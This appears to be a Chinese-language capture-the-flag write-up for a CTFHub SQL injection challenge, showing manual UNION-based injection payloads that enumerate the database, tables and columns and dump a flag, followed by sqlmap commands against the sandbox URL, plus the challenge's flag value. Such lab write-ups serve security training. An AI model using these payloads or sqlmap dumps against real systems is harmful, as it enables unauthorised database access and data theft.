手工注入

判断注入类型

1.png

有图可知,是字符型注入。

判断列数

输入:1' or 1=1 order by 3 #,查询失败。

2.png

输入:1' or 1=1 order by 2 #,查询成功。

3.png

由此观之,列数为 2。

联合查询

1、查询数据库版本号、当前数据库名:

  1. 1' and 1=2 union select version(), database() #

4.png

由此观之,有数据库sqli

2、查询表名:

1' and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

5.png

由此观之,有 2 张表,分别为flagnews

3、查询flag表中的列名:

1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='flag' #

6.png

由此观之,flag表下有一个字段叫flag

4、查询记录:

1' and 1=2 union select 2,group_concat(flag) from flag #

7.png

可以得到 Flag:ctfhub{e85e440435985125ee6ba60b}

SQLMap 自动化注入

获取数据库信息

sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --dbs --threads 4

8.png

查看数据库中的表

sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli --tables

9.png

查看表里的字段

sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli -T flag --columns

10.png

查看字段详细信息

sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli -T flag -C flag --dump

11.png